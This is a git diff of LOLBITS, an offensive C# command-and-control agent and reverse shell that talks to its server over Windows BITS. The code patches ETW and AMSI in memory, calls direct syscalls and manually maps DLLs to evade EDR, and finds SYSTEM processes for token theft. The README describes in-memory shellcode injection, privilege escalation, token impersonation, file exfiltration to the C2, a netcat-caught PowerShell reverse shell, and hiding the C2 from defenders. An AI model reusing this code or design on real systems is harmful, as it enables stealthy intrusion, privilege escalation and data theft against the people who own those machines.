myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
myTokenPrivileges.Privileges[0].Luid = myLuid;
object[] adjustPrivileges = { handle, false, myTokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero };
object[] adjustPrivileges = { handle, false, newState, (uint)Marshal.SizeOf(newState), previousState, returnLength };
DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "AdjustTokenPrivileges",
typeof(DInvoke.Win32.DELEGATES.AdjustTokenPrivileges), adjustPrivileges);
@@ -154,7 +165,7 @@ namespace LOLBITS
var shellCode = sysCall.GetSysCallAsm("NtOpenProcess");
object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc);
@@ -162,6 +173,11 @@ namespace LOLBITS
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess));
var token = IntPtr.Zero;
var arguments = new object[] { handle, flags, objectAtt, clientId};
uint oldProtect = 0;
object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero;
@@ -173,7 +189,7 @@ namespace LOLBITS
var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken");
object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc);
@@ -181,6 +197,11 @@ namespace LOLBITS
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken));
var token = IntPtr.Zero;
var arguments = new object[] { handle, access, token };
uint oldProtect = 0;
object[] parameters = { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, oldProtect };
IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
@@ -228,13 +249,34 @@ namespace LOLBITS
return false;
}
public static int getSystemPID(SysCallManager sysCall)
public static List<int> getSystemPID(SysCallManager sysCall)
{
string cmd = "FOR /F \"tokens=1,2,3,4,5\" %A in ('\"query process system | findstr svchost.exe | findstr/n ^^| findstr /b \"^15:\"\"') DO echo %E | findstr /b /r \"[0-9]\"";
string pid = ExecuteCommand(cmd, sysCall);
string[] spl = pid.Split('\n');
string cmd = "FOR /F \"tokens=1,2,3,4,5\" %A in ('\"query process system | findstr/n ^^|@ findstr /b \"^iii:\"\"') DO echo %E | findstr /b /r \"[0-9]\"";
string h = "";
bool cont = true;
int i = 1;
List<int> l = new List<int>();
return int.Parse(spl[2]);
while (cont){
h = cmd.Replace("iii", i.ToString());
string pid = ExecuteCommand(h, sysCall);
if (pid.Contains("ERR"))
cont = false;
else
{
string[] spl = pid.Split('\n');
try
{
l.Add(int.Parse(spl[2]));
}
catch { }
++i;
}
}
l.Sort();
l.Reverse();
return l;
}
public static bool handleETW(SysCallManager sysCall)
@@ -243,13 +285,14 @@ namespace LOLBITS
var hook = new byte[] { 0xc3 };
uint oldProtect = 0, x = 0;
var shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory");
sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); // this saves time on further actions when trying to access advapi32 functions
DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll");
object[] loadLibrary = { "ntdll.dll" };
IntPtr libraryAddress = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA",
typeof(DInvoke.Win32.DELEGATES.LoadLibrary), loadLibrary);
object[] procAddress = {libraryAddress, Encoding.UTF8.GetString(Convert.FromBase64String("RXR3RXZlbnRXcml0ZQ=="))};
var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress",
@@ -257,7 +300,7 @@ namespace LOLBITS
if (address == IntPtr.Zero)
return false;
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)hook.Length, (uint)0x40, oldProtect };
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)hook.Length, (uint)0x004, oldProtect };
IntPtr hProcess = Process.GetCurrentProcess().Handle;
@@ -267,13 +310,18 @@ namespace LOLBITS
oldProtect = (uint)parameters[4];
object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory));
var arguments = new object[] { hProcess, address, hook, (UIntPtr)(hook.Length), IntPtr.Zero };
uint old = 0;
parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, old };
response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
if ((int)returnValue != 0)
return false;
@@ -299,6 +347,7 @@ namespace LOLBITS
IntPtr libraryAddress = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA",
typeof(DInvoke.Win32.DELEGATES.LoadLibrary), loadLibrary);
object[] procAddress = { libraryAddress, Encoding.UTF8.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI="))};
var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress",
@@ -306,7 +355,7 @@ namespace LOLBITS
if (address == IntPtr.Zero)
return false;
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)hook.Length, (uint)0x40, oldProtect };
object[] parameters = { (IntPtr)(-1), address, (UIntPtr)hook.Length, (uint)0x004, oldProtect };
IntPtr hProcess = Process.GetCurrentProcess().Handle;
@@ -316,13 +365,18 @@ namespace LOLBITS
oldProtect = (uint)parameters[4];
object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve,
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite };
DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite };
var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc",
typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc);
Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length);
var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory));
var arguments = new object[] { hProcess, address, hook, (UIntPtr)(hook.Length), IntPtr.Zero };
uint old = 0;
parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, old };
response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx",
typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters);
var returnValue = sysCallDelegate.DynamicInvoke(arguments);
if ((int)returnValue != 0)
return false;
+36 -31
View File
@@ -28,41 +28,46 @@
<!-- ABOUT THE PROJECT -->
## About The Project
LOLBITS is a C# reverse shell that uses Microsoft's [Background Intelligent Transfer Service (BITS)](https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) to communicate with the Command and Control backend. The Command and Control backend is hidden behind an apparently harmless flask web application and it's only accesible when the HTTP requests received by the app contain a valid authentication header.
LOLBITS is a C2 framework that uses Microsoft's [Background Intelligent Transfer Service (BITS)](https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) to establish the communication channel between the compromised host and the backend. The C2 backend is hidden behind an apparently harmless flask web application and it's only accesible when the HTTP requests received by the app contain a valid authentication header. Since this tool is meant to be used in highly monitored environments, the following features have implemented in order to avoid EDR and AV detection:
**LOLBITS** is composed of 3 main elements:
* ETW and AMSI patching.
* Use of direct syscalls to avoid EDR usermode API hooking.
* Manual mapping of kernel32.dll and advapi32.dll in combination with DInvoke.
* Basic Sandbox detection before establishing the communication channel with the C2 backend.
* Use of BITS in background mode to generate the communication channel without disturbing the user experience.
* The C# agent that is in charge of executing the commands in the compromised host, sending back the output to the C&C server once the process is done.
* The flask web application that acts as a dispatcher. This element is the one that allows to hide the C&C infrastructure behind a harmless website at the same time that supplies the new commands to the agent when an authenticated request is received.
* The C&C console, used to control the agent.
Regarding the architecture, **LOLBITS** is composed of 3 main elements:
In order to deny proxies content inspection, all the relevant content sent between the agent and the C&C server is encrypted using RC4 with a preshared secret key. A high level diagram of the infrastructure behaviour would be as it's shown in the following image:
* The C# agent that is in charge of executing the commands in the compromised host, sending back the output to the C2 server once the task is completed.
* The flask web application that acts as a dispatcher. This element is the one that allows to hide the C2 infrastructure behind a harmless website at the same time that supplies the new commands to the agent when an authenticated request is received.
* The C2 console, used to control the agent.
In order to deny proxies content inspection, all the relevant content sent between the agent and the C2 server is encrypted using RC4 with a preshared secret key randomly generated. A high level diagram of the infrastructure behaviour would be as it's shown in the following image:
[![High level diagram][high-level-diagram]]()
To avoid that the Blue Team could reproduce some of the old requests and discover the C&C infrastructure, each authentication header is generated randomly and is valid only for one single cycle (a cycle is composed of a POST request followed by a GET request, in that order). Old authentication headers will be ignored and the harmless website will be displayed for those requests.
To avoid that the Blue Team could reproduce some of the old requests and discover the C2 backend infrastructure, each authentication header is randomly generated and is valid only for one single cycle (a cycle is composed of a POST request followed by a GET request, in that order). Old authentication headers will be ignored and the harmless website will be displayed for those requests.
## Acknowledgements
Some of this tool features have being implemented reusing code from the CyberVaca's amazing project [Salsa Tools](https://github.com/Hackplayers/Salsa-tools), so a big shout-out to him!
Here you can find him:
* [Twitter](https://twitter.com/CyberVaca_)
* [Github](https://github.com/cybervaca)
* [Linkedin](https://www.linkedin.com/in/luis-vacas-de-santos-034887158/)
Some of this tool features have being implemented either reusing code from other projects or thanks to the effort of several cybersecurity researchers. Here below I link some of the external work and projects that have been used in one way or another to improve this tool:
* [Salsa Tools](https://github.com/Hackplayers/Salsa-tools)
* [Dinvoke](https://thewover.github.io/Dynamic-Invoke/)
* [SharpSploit](https://github.com/cobbr/SharpSploit)
* [Windows System Call Table](https://j00ru.vexillium.org/syscalls/nt/64/)
* [CheckPlease for Sandbox Evasion](https://github.com/Arvanaghi/CheckPlease)
## Getting Started
### Prerequisites
For the C&C infrastructure is required a Windows Server 2016 or above with python 3.4+ and powershell 5.1+.
For the C2 infrastructure is required a Windows Server 2016 or above with python 3.4+ and powershell 5.1+.
The C# agent has been successfully tested on Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows 7, Windows 8.1 and Windows 10. To compile it it's required:
* Visual Studio 2017 or above.
* .NET Framework 4.5 or above.
### Setup
1.- Clone this repository on your C&C server
1.- Clone this repository on your C2 server
```sh
git clone https://github.com/Kudaes/LOLBITS.git
```
@@ -76,42 +81,42 @@ Also install .NET Framework and BITS features for IIS.
3.- Execute the **setup.ps1** script **as administrator** to deploy the whole infrastructure and set up the C# agent.
4.- Compile the agent and execute it in the compromised host. The compilation will generate an .exe and an external dependency (**Newtonsoft.Json.dll**). You can generate a single .exe using
[ILMerge](https://github.com/dotnet/ILMerge) or just send both files to the compromised host. To avoid DEBUG output, remember to compile the project as a **Windows Application**.
4.- Compile the C# agent. The compilation will generate an .exe and an external dependency (**Newtonsoft.Json.dll**). You can generate a single .exe using
[ILMerge](https://github.com/dotnet/ILMerge) or just send both files to the compromised host. To avoid DEBUG output, make sure to compile the project as a **Windows Application**.
[![Windows Application][windows-app]]()
5.- (**Optional**) By default. the **setup.ps1** script will create a new Web Site in your IIS called **lawlbits** listening on the default HTTP port (80/TCP). This new Web Site doesn't use HTTP over TLS and, even though the content of the requests sent by the C# agent to the C&C are encrypted using RC4 with a preshared and randomly generated secret key, it is recommended to set up the use of HTTPS for the new site. In order to do that, I recommend to use [Let's Encrypt](https://weblog.west-wind.com/posts/2016/feb/22/using-lets-encrypt-with-iis-on-windows#the-easy-way-letsencrypt-win-simple) over **lawlbits**, which is one of the easiest ways to set up HTTPS. After that, remember to modify the variable `Url` on Program.cs to use HTTPS instead of HTTP, which is the default behaviour.
5.- (**Optional**) By default. the **setup.ps1** script will create a new Web Site in your IIS called **lawlbits** listening in the default HTTP port (80/TCP). This new Web Site doesn't use HTTP over TLS and, even though the content of the requests sent by the C# agent to the C2 are encrypted using RC4 with a preshared and randomly generated secret key, it is recommended to set up the use of HTTPS for the new site. In order to do that, I recommend to use [Let's Encrypt](https://weblog.west-wind.com/posts/2016/feb/22/using-lets-encrypt-with-iis-on-windows#the-easy-way-letsencrypt-win-simple) over **lawlbits**, which is one of the easiest ways to set up HTTPS. After that, remember to modify the variable `Url` on Program.cs to use HTTPS instead of HTTP, which is the default behaviour.
## Usage
To obtain the reverse shell just type in `python lawlbin.py` on a cmd of the C&C server and execute the C# agent on the compromised host.
To obtain the reverse shell just type in `python lawlbin.py` on a cmd of the C2 server and execute the C# agent on the compromised host.
Since this project borns from the ashes of a previous and failed project, some of the old features have been kept. The old project was a shell where all the available commands would be
executed using exclusively [Living of The Land Binaries](https://github.com/LOLBAS-Project/LOLBAS). Thats where the LOL of LOLBITS comes from, and thats why the following features run using exclusively LOLBINS (this could help to bypass AWS and some AV/EDR filters):
executed using exclusively [Living of The Land Binaries](https://github.com/LOLBAS-Project/LOLBAS). That's where the LOL of LOLBITS comes from, and that's why the following features run using exclusively LOLBINS (this could help to bypass AWS and some AV/EDR filters):
* **download**: Download a file from a Webdav to the compromised host.
* **base64encode**: Use base64 encoding over the content of a local file.
* **download**: Download a file from a remote Webdav to the compromised host.
* **base64encode**: Use base64 to encode a local file content.
* **base64decode**: Decode a base64 encoded file.
* **compile**: Compile .cs files into exe or dll.
* **compile**: Compile .cs files into .exe or .dll.
Despite this features could be interesting in some environments (hmm download remote files without using Powershell? I like it!) I kept them just to reuse part of the old code for the
C&C console. Below is a list with some other features that im sure will be more usefull in a classic red team context:
C2 console. Below is a list with some other features that im sure will be more usefull in a classic red team context:
* **inject**: Download from the C&C a shellcode (.bin) or PE (.NET assembly) file and execute it in memory. With this command the payload never touches disk unencrypted, avoiding AV detection. Shellcode injection is only implemented for 64 bits procesess and it can target both own and remote process.
* **inject**: Download from the C2 a shellcode (.bin) or PE (.NET assembly) file and execute it in memory. With this command the payload never touches disk unencrypted, avoiding AV detection. .NET assemblies can only be loaded in the same calling process, while shellcode are allowed to be injected in both own and other processes (only x64 processes).
* **psh**: Generate a Powershell reverse shell. This shell has to be handled by additional software like netcat (just run nc -lvp <port>).
* **send**: To send a file from your C&C to the compromised host just use this option. The sent file will be store unencrypted on disk, so be carefull.
* **getsystem**: Attempt to obtain System privileges. High integrity process required.
* **send**: To send a file from your C2 to the compromised host just use this option. The sent file will be store **unencrypted** on disk.
* **getsystem**: Attempt to obtain System privileges. High integrity level required.
* **impersonate**: Attempt to steal an access token from other process in order to "become" another user.
* **runas**: Use valid credentials to modify your security context and log in as other (local or domain) user.
* **rev2self**: Remove security context changes performed by getsystem, impersonate or runas.
* **exfiltrate**: Send a file from the compromised host to your C&C.
* **exfiltrate**: Send a file from the compromised host to your C2.
To get usage tips just type in `help` or `<somecommand> help`. In the future more features will be implemented, so stay tuned!
To get usage tips just type in `help` or `<somecommand> help`.
## Contributing
Im pretty sure this code could be improved a lot. Any contributions you make will be **greatly appreciated**.
Any contributions will be **greatly appreciated**.
1. Fork the Project
2. Create your Feature Branch (`git checkout -b feature/AmazingFeature`)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

After

Width:  |  Height:  |  Size: 47 KiB